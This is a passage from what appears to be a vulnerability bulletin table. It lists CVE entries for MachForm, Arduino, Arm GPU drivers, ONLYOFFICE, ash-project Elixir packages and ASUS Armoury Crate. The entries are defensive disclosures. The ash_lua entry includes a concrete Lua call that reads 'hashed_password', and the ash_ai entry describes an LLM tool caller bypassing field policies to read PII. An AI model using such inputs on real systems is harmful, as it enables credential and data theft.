&lt;td&gt;A SQL injection vulnerability in the ap_form_{id} parameter in AppNitro MachForm v30 allows attackers to access sensitive database information via a crafted SQL statement.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78837&quot; target=&quot;_blank&quot;&gt;CVE-2026-78837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AppNitro-- MachForm v30&lt;/td&gt;
&lt;td&gt;A reflected cross-site scripting (XSS) vulnerability in the grid_datasource.php component of AppNitro MachForm v30 allows attackers to execute arbitrary Javascript in the context of the victim&#039;s browser via injecting a crafted payload into the filter[filters][0][field] parameter.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78838&quot; target=&quot;_blank&quot;&gt;CVE-2026-78838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arduino--ArduinoCore-avr&lt;/td&gt;
&lt;td&gt;ArduinoCore-avr contains the source code and configuration files of the Arduino AVR Boards platform. A vulnerability in versions prior to 1.8.8 allows an attacker to trigger a stack-based buffer overflow when concatenating floating-point values of sufficiently large magnitude onto an Arduino String object. By passing values near the extremes of the float or double range to `String::concat(float)`, `String::concat(double)`, `String::operator+=()`, or the `+` operator with a float/double operand, `dtostrf()` writes beyond the fixed-size stack buffer, causing memory corruption and denial of service. Under specific conditions, this could enable arbitrary code execution on AVR-based Arduino boards. The fix is included starting from the `1.8.8 `release.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48490&quot; target=&quot;_blank&quot;&gt;CVE-2026-48490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arduino-libraries--ArduinoBLE&lt;/td&gt;
&lt;td&gt;ArduinoBLE enables Bluetooth Low Energy connectivity on certain Arduino models. Versions prior to 2.0.2 contain a missing bounds check in the ATT layer write request handler that allows a remote, unauthenticated BLE client to corrupt memory in the ATTClass global object. Devices running ArduinoBLE with one or more characteristics configured with the BLEEncryption property are affected. The fix is included starting from the 2.0.2 release.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47773&quot; target=&quot;_blank&quot;&gt;CVE-2026-47773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform valid GPU memory processing operations to access already freed memory. This issue affects Bifrost GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0001&quot; target=&quot;_blank&quot;&gt;CVE-2026-0001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform valid GPU memory processing operations to access already freed memory. This issue affects Bifrost GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12285&quot; target=&quot;_blank&quot;&gt;CVE-2026-12285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform valid GPU memory processing operations to access already freed memory. This issue affects Bifrost GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12387&quot; target=&quot;_blank&quot;&gt;CVE-2026-12387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU memory processing operations to access already freed memory. This issue affects Bifrost GPU Kernel Driver: from r49p3 through r49p5, r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r49p3 through r49p5, from r51p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r49p3 through r49p5, from r51p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7476&quot; target=&quot;_blank&quot;&gt;CVE-2026-7476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform valid GPU memory processing operations to access already freed memory. This issue affects Bifrost GPU Kernel Driver: from r44p0 through r49p4, from r50p0 through r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r44p0 through r49p5, from r50p0 through r54p3; Arm 5th Gen GPU Architecture Kernel Driver: from r44p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7477&quot; target=&quot;_blank&quot;&gt;CVE-2026-7477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;A race condition vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU memory processing operations to cause a denial of service or disclose sensitive information. This issue affects Bifrost GPU Kernel Driver: from r12p0 through r49p5, from r50p0 through r51p0, from r54p1 through r54p2; Valhall GPU Kernel Driver: from r19p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9040&quot; target=&quot;_blank&quot;&gt;CVE-2026-9040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Bifrost GPU Userspace Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Bifrost GPU Userspace Driver, Arm Ltd Valhall GPU Userspace Driver, Arm Ltd Arm 5th Gen GPU Architecture Userspace Driver allows a non-privileged user process to perform valid GPU processing operations, including via WebGL or WebGPU, to access already freed memory. This issue affects Bifrost GPU Userspace Driver: from r42p0 through r49p5, from r50p0 through r51p0, from r54p1 through r54p3; Valhall GPU Userspace Driver: from r42p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Userspace Driver: from r42p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9034&quot; target=&quot;_blank&quot;&gt;CVE-2026-9034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Valhall GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU memory processing operations to gain access to sensitive kernel information. This issue affects Valhall GPU Kernel Driver: from r29p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r41p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0860&quot; target=&quot;_blank&quot;&gt;CVE-2026-0860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Valhall GPU Kernel Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform valid GPU processing operations to access already freed memory. This issue affects Valhall GPU Kernel Driver: from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Kernel Driver: from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5729&quot; target=&quot;_blank&quot;&gt;CVE-2026-5729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arm Ltd--Valhall GPU Userspace Driver&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in Arm Ltd Valhall GPU Userspace Driver, Arm Ltd Arm 5th Gen GPU Architecture Userspace Driver allows a non-privileged user process to perform valid GPU processing operations, including via WebGL or WebGPU, to access already freed memory. This issue affects Valhall GPU Userspace Driver: from r46p0 through r49p5, from r50p0 through r54p3, r55p0; Arm 5th Gen GPU Architecture Userspace Driver: from r46p0 through r49p5, from r50p0 through r54p3, r55p0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11891&quot; target=&quot;_blank&quot;&gt;CVE-2026-11891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ascensio System SIA / OnlyOffice--ONLYOFFICE ownCloud integration plugin&lt;/td&gt;
&lt;td&gt;A Server-Side Request Forgery (SSRF) vulnerability exists in the ONLYOFFICE ownCloud Integration plugin version 9.12. The /apps/onlyoffice/ajax/settings/address endpoint does not sufficiently validate the user-supplied Document Server URL before initiating outbound connections. An authenticated administrator can manipulate the document server parameter to cause the ownCloud server to send arbitrary requests to attacker-controlled destinations, including localhost and internal network hosts. This allows internal network reconnaissance and TCP port scanning based on differences in server responses.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84282&quot; target=&quot;_blank&quot;&gt;CVE-2026-84282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_ai&lt;/td&gt;
&lt;td&gt;AshAi exposes Ash read actions to language-model tool calls. The read tool accepts an aggregate result type (min, max, sum, avg) that builds an ad-hoc Ash.Query.Aggregate over a named field and returns its raw value. Ash field policies redact forbidden fields on returned records (replacing them with %Ash.ForbiddenField{}), but that redaction does not apply to aggregate values. A tool caller could therefore read a field the calling actor&#039;s field policies forbid by requesting it as an aggregate; min/max in particular return an actual field value. This includes fields that are public? true but restricted per-actor by a field policy, such as sensitive PII. The tool&#039;s existing check only required the field to be public, which is a separate axis from per-actor field-policy authorization. The fix authorizes the aggregated field against the resource&#039;s field policies, so aggregating over a field the actor may not see is refused or scoped to the rows where it is visible. This issue affects ash_ai: from 0.1.0 before 1.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78230&quot; target=&quot;_blank&quot;&gt;CVE-2026-78230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Allocation of Resources Without Limits or Throttling vulnerability in ash-project ash_authentication_oauth2_server allows an unauthenticated attacker to exhaust database storage and memory. The /authorize endpoint is unauthenticated by design. With Client ID Metadata Documents enabled, resolve_client/3 in AshAuthentication.Oauth2Server.CIMD fetches the document for each new URL-shaped client_id and upserts a client row, with no cap on the number of rows, no expiry or garbage collection, and no length bound on the fetched fields; the document was also placed in CIMD.Cache before validation, so even rejected documents held cache memory until their TTL. An attacker serving valid documents at many distinct URLs creates one permanent client row per URL, each able to carry multi-megabyte strings, growing storage and memory without bound. This issue affects ash_authentication_oauth2_server: from 0.3.0 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82753&quot; target=&quot;_blank&quot;&gt;CVE-2026-82753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Improper Protection of Alternate Path vulnerability in ash-project ash_authentication_oauth2_server exposes the state-changing OAuth endpoints under an unintended URL prefix, bypassing controls scoped to the canonical prefix. oauth2_server_protocol_routes/1 in AshAuthentication.Phoenix.Oauth2Server.Router forwards the same ProtocolRouter at both the /oauth prefix and the /.well-known prefix. Phoenix forward strips the matched prefix before dispatch, so the full route table answers under both mounts, and POST /register, POST /token, and POST /revoke are reachable as /.well-known/register, /.well-known/token, and /.well-known/revoke. Edge controls such as WAF rules, rate limits, or authentication exemptions written against the /oauth paths, or that allow-list /.well-known as unauthenticated, do not apply to the alias. This issue affects ash_authentication_oauth2_server: from 0.1.0 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82754&quot; target=&quot;_blank&quot;&gt;CVE-2026-82754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Use of Cache Containing Sensitive Information vulnerability in ash-project ash_authentication_oauth2_server allows a shared HTTP cache to serve one tenant&#039;s OAuth discovery metadata to another tenant&#039;s clients. The RFC 8414 and RFC 9728 metadata endpoints in AshAuthentication.Phoenix.Oauth2Server.ProtocolRouter return tenant-specific values (issuer, authorization_endpoint, token_endpoint, jwks_uri) when a tenant is set, but sent them with Cache-Control: public, max-age=3600 and no Vary. When the tenant is derived from something other than the URL (a header or the Host) and a shared cache sits in front, the cache key is the URL alone, so a stored response for one tenant is served to another for up to an hour. Affected clients may then send authorization codes and secrets to the wrong tenant&#039;s token endpoint and validate tokens against the wrong keys. This issue affects ash_authentication_oauth2_server: from 0.1.3 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82755&quot; target=&quot;_blank&quot;&gt;CVE-2026-82755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Improper Encoding or Escaping of Output vulnerability in ash-project ash_authentication_oauth2_server allows an unauthenticated attacker to inject arbitrary authentication parameters into the WWW-Authenticate challenge header. BearerPlug and RequireScopePlug built the Bearer resource_metadata=&quot;...&quot; challenge by interpolating a resource_metadata URL derived from the request tenant directly into the quoted value. In a multi-tenant application that sets the Ash tenant from request-controlled data (a subdomain, the Host, a path segment, or a header), a tenant containing a &quot; closes the quoted value and appends attacker-chosen auth-params, including a second resource_metadata URL pointing at an attacker-controlled authorization server that spec-following clients follow. Carriage returns and line feeds are rejected by Plug, so this is parameter injection within one header, not response splitting. This issue affects ash_authentication_oauth2_server: from 0.1.3 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82756&quot; target=&quot;_blank&quot;&gt;CVE-2026-82756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF) vulnerability in ash-project ash_authentication_oauth2_server allows an attacker who controls a client metadata URL and its DNS to make the server connect to internal or loopback addresses. public_ip?/1 in AshAuthentication.Oauth2Server.CIMD.ReqFetcher enforces the outbound policy for CIMD metadata fetches. It classified several address forms as publicly routable that are not: IPv4-compatible ::/96 (for example ::127.0.0.1), SIIT IPv4-translated ::ffff:0:0:0/96, and deprecated site-local fec0::/10. A returned AAAA record in one of these ranges passed the policy, so a fetch pinned to that address reached space the policy was meant to block. This issue affects ash_authentication_oauth2_server: from 0.3.0 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82757&quot; target=&quot;_blank&quot;&gt;CVE-2026-82757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_authentication_oauth2_server&lt;/td&gt;
&lt;td&gt;Improper Authentication vulnerability in ash-project ash_authentication_oauth2_server allows an unauthenticated attacker to register OAuth clients even when Dynamic Client Registration is gated by an initial access token. resolve_secret/3 in AshAuthentication.Oauth2Server (reached through __resolve_secret__!) treated any return other than {:ok, _} or :error from a configured {module, function, args} or 2-arity-function secret provider as a valid secret, wrapping nil, false, or &quot;&quot; as {:ok, value}. When the initial_access_token resolves to such an empty value, POST /oauth/register compares the presented bearer token against it and the comparison passes with no token supplied, so registration is open although it was configured closed. The same fail-open affected other resolved secrets such as signing_secret. This issue affects ash_authentication_oauth2_server: from 0.1.0 before 0.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82758&quot; target=&quot;_blank&quot;&gt;CVE-2026-82758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_double_entry&lt;/td&gt;
&lt;td&gt;Improper Handling of Alternate Encoding vulnerability in ash-project ash_double_entry allows an attacker to submit several distinct string spellings of the same identifier. AshDoubleEntry.ULID renders a 128-bit ULID as 26 Crockford base-32 characters, but the first character encodes only 3 bits, so canonical values are 0 to 7. decode/1 in lib/ulid.ex masks the first character to its low 3 bits and valid?/1 accepts all 32 characters in that position, so 0..., 8..., G... and R... decode to the identical 16-byte value and resolve to the same row. When the type is exposed as a public ID over an HTTP or API boundary, an attacker-supplied ID can be spelled differently from the record it actually reads or writes, desynchronizing or bypassing string-level checks such as idempotency and deduplication keys, deny-lists, audit correlation, or signatures computed over the submitted ID. This issue affects ash_double_entry: from 0.1.0 before 1.0.19.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81638&quot; target=&quot;_blank&quot;&gt;CVE-2026-81638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_lua&lt;/td&gt;
&lt;td&gt;AshLua exposes Ash read actions to Lua scripts run through an eval action. A read call accepts an operation (list, min, max, first, sum, avg) that builds an ad-hoc Ash.Query.Aggregate over a named field and returns its raw value. Ash field policies redact forbidden fields on returned records (replacing them with %Ash.ForbiddenField{}), but that redaction does not apply to aggregate values. A script could therefore read a field the calling actor&#039;s field policies forbid by requesting it as an aggregate instead of as a field. This includes fields that are public? true but restricted per-actor by a field policy, such as sensitive PII. The prior hardening only enforced the exposed-field allow-list (field visibility), which is a separate axis from per-actor field-policy authorization. The fix authorizes the aggregated field against the resource&#039;s field policies, so aggregating over a field the actor may not see is refused or scoped to the rows where it is visible. This issue affects ash_lua: from 0.1.0 before 0.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78216&quot; target=&quot;_blank&quot;&gt;CVE-2026-78216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash_lua&lt;/td&gt;
&lt;td&gt;Improper Protection of Alternate Path vulnerability in ash-project ash_lua allows a user-supplied Lua script to read attributes that are not on the exposed-field allow-list. AshLua exposes Ash resources to Lua scripts, gated by a manifest declaring which fields are exposed. The read action&#039;s operation aggregate path in AshLua.Runtime took the field name straight from the Lua call and resolved it with only String.to_existing_atom and Ash.Query.Aggregate.new!, neither of which consults the exposed-field allow-list the normal fields path enforces. A script can therefore read the value of any attribute of any record the actor may read, including private sensitive?: true columns, via resource.read({ operation = {&quot;list&quot;, &quot;hashed_password&quot;} }); min and max give a value oracle. Anyone able to submit or influence a Lua script can reach this. This issue affects ash_lua: from 0.1.0 before 0.2.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82586&quot; target=&quot;_blank&quot;&gt;CVE-2026-82586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--igniter&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in ash-project igniter allows a malicious package publisher to forge the mix igniter.install confirmation prompt. mix igniter.install prints a confirmation panel (an anti-typosquatting safeguard) listing a package&#039;s hex metadata before adding it. The panel builder in Igniter.Project.Deps wrote publisher-controlled fields (meta.description, owner usernames, requirement names, version) to the terminal with only newlines stripped. A malicious or typosquatted package can embed ANSI terminal escape sequences (cursor movement, line erase, carriage returns) in its metadata to overwrite the panel, forging trusted author names and download counts while concealing the real ones, so a developer relying on the panel to vet the package is deceived into approving a malicious dependency. This issue affects igniter: from 0.8.1 before 0.8.4.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82584&quot; target=&quot;_blank&quot;&gt;CVE-2026-82584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--usage_rules&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in ash-project usage_rules allows a malicious package publisher to inject terminal control sequences into the output of mix usage_rules.search_docs. mix usage_rules.search_docs searches Hex documentation through search.hexdocs.pm, which indexes the documentation of every published package, and prints the matching results (title, package, type, doc reference, and highlighted snippets) to the terminal. The formatter in Mix.Tasks.UsageRules.SearchDocs interpolated those publisher-controlled fields verbatim, neutralizing no terminal control characters; the only transform it applied adds escape sequences rather than removing them. A malicious package can embed ANSI terminal escape sequences (cursor movement, line erase, carriage returns, OSC 52 clipboard writes) in its indexed documentation, so when a developer runs a search that surfaces those docs the sequences reach the terminal unchanged - forging the displayed hexdocs URL or a suggested command, hiding text, or writing to the clipboard. No authentication or privileged position is required; only publishing a package. This issue affects usage_rules: from 0.1.18 before 1.2.8.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82710&quot; target=&quot;_blank&quot;&gt;CVE-2026-82710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;A Permissive Cross-domain Security Policy with Untrusted Domains in Armoury Crate allows a remote user to obtain a local user&#039;s NTLM hash by convincing the user to visit a crafted web page that sends a request containing a UNC path to the application&#039;s local service endpoint.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12962&quot; target=&quot;_blank&quot;&gt;CVE-2026-12962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Exposed IOCTL with Insufficient Access Control in Armoury Crate driver allows a local user to add an arbitrary process identifier to the driver&#039;s whitelist via a crafted IOCTL request by bypassing the driver&#039;s verification.Refer to the &#039; Security Update for Armoury Crate App&amp;nbsp;&amp;nbsp;&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16003&quot; target=&quot;_blank&quot;&gt;CVE-2026-16003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASUS--Armoury Crate&lt;/td&gt;
&lt;td&gt;Exposed IOCTL with Insufficient Access Control in Armoury Crate driver allows a local user to read and write arbitrary PCI/PCIe configuration space via crafted IOCTL requests by bypassing the driver&#039;s verification. Refer to the &#039; Security Update for Armoury Crate App&#039; section on the ASUS Security Advisory for more information.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
